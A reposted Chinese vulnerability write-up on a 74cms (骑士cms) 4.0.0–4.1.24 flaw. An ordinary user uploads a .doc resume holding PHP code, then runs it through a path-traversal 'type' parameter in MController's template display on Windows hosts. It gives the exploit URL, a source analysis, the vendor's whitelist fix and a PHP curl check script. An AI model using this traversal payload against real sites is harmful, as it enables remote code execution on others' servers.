欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

74cms某漏洞可导致普通用户getshell

程序员文章站 2022-07-15 14:36:15
...

74cms(骑士cms)

版本号:4.0.0 ~ 4.1.24

漏洞概述:

  注册一个普通用户账号,在修改简历的界面上传一个doc的简历(doc文档里包含PHP代码),然后访问特殊构造的URL即可执行doc文件中的PHP代码。

利用条件:

  该漏洞可在Windows主机上实现,不能在Linux上实现。

攻击演示:

1、注册一个账号,并上传doc文档;

74cms某漏洞可导致普通用户getshell

74cms某漏洞可导致普通用户getshell

74cms某漏洞可导致普通用户getshell

2、访问如下的URL:

http://127.0.0.1/index.php?m=home&c=m&a=index&org=1&type=../data/upload/word_resume/1712/14/5a31fa0a469a0.doc
成功执行doc文件里的phpinfo()函数

74cms某漏洞可导致普通用户getshell

3、至此,漏洞演示完毕。

原理分析:

1、在\Application\Home\Controller\MController.class.php文件中,有个index()方法,这个方法的作用是根据URL中type参数的值来读取模板文件。

class MController extends FrontendController{
	public function index(){		
		if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
            redirect(build_mobile_url());
		}	
        $type = I('get.type','android','trim');
        $android_download_url = C('qscms_android_download')?C('qscms_android_download'):'';
        $ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):'';
        $this->assign('android_download_url',$android_download_url);
        $this->assign('ios_download_url',$ios_download_url);
        $this->assign('type',$type);		
        $this->display('M/'.$type);
    }
}

2、$type变量来自于URL,然后把$type传递给display()方法。熟悉ThinkPHP的人都知道,display()方法是用来展示HTML模板的。

3、当display()方法接收到一个文件路径时,它会判断这个文件是否存在;如果存在,则返回该路径,否则报错。

其实调用display()方法后还会调用很多其它的方法,但是在这里我不一一列出来,只说一个方法:View类的parseTemplate()方法。

4、打开这个文件:\ThinkPHP\Library\Think\View.class.php,下面就是parseTemplate()方法:

    /**
     * 自动定位模板文件
     * @access protected
     * @param string $template 模板文件规则
     * @return string
     */
    public function parseTemplate($template='') {
        if(is_file($template)) {
            return $template;
        }
        $depr       =   C('TMPL_FILE_DEPR');
        $template   =   str_replace(':', $depr, $template);


        // 获取当前模块
        $module   =  MODULE_NAME;
        if(strpos($template,'@')){ // 跨模块调用模版文件
            list($module,$template)  =   explode('@',$template);
        }
        // 获取当前主题的模版路径
        defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath($module));


        // 分析模板文件规则
        if('' == $template) {
            // 如果模板文件名为空 按照默认规则定位
            $template = CONTROLLER_NAME . $depr . ACTION_NAME;
        }elseif(false === strpos($template, $depr)){
            $template = CONTROLLER_NAME . $depr . $template;
        }
        $file   =   THEME_PATH.$template.C('TMPL_TEMPLATE_SUFFIX');
        if(C('TMPL_LOAD_DEFAULTTHEME') && THEME_NAME != C('DEFAULT_THEME') && !is_file($file)){
            // 找不到当前主题模板的时候定位默认主题中的模板
            $file   =   dirname(THEME_PATH).'/'.C('DEFAULT_THEME').'/'.$template.C('TMPL_TEMPLATE_SUFFIX');
        }
        return $file;
    }
5、可以看到,parseTemplate()方法调用了is_file()函数判断模板文件是否存在;如果存在,即返回模板文件的路径;如果不存在则进行下一步操作。

6、回头看看我们到底给parseTemplate()方法传递了什么参数:其实就是display()方法的‘M/’ . $type参数。$type参数又是可控的,所以这里可能要出问题。

7、再看看我们访问的url,&type=../data/upload/word_resume/1712/14/5a31fa0a469a0.doc。当访问这个URL后,我们传递给parseTemplate()方法的参数就是:'M/../data/upload/word_resume/1712/14/5a31fa0a469a0.doc'在Windows主机上is_file()判断这个文件路径是存在的,而在Linux上不存在,这就是为什么该漏洞不能在Linux上实现的原因。

8、注意:上面的文件路径是个相对路径,相对index.php文件而言的,index.php是入口文件。

漏洞修复:

  74cms官方已经修复了该漏洞,新版本不存在该漏洞。

  他们是这样修复的:

class MController extends FrontendController{
	public function index(){
		if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
            redirect(build_mobile_url());
		}
        $type = I('get.type','android','trim');
        if(!in_array($type, array('ios','android','touch','weixin'))){
            $this->error('参数错误!');
        }
        $this->assign('type',$type);
        $this->display('M/'.$type);
    }
}
用in_array()函数判断$type参数是否是白名单中的值,如果不是则报错。
验证程序poc:

<?php
	/* 目标主机 */
	$host = 'http://127.0.0.1';
	$url = '/index.php?m=home&c=m&a=index&org=1&type=../data/install.lock';
	
	$ch = curl_init($host . $url);
	curl_setopt($ch, CURLOPT_USERAGENT, 'Firefox/54.0');
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	
	$response = curl_exec($ch);
	
	if($response == 'OK') {
		echo 'This Web Site is Vulnerability';
	}
	else {
		echo 'Not Vulnerability';
	}
	
	curl_close($ch);
	exit();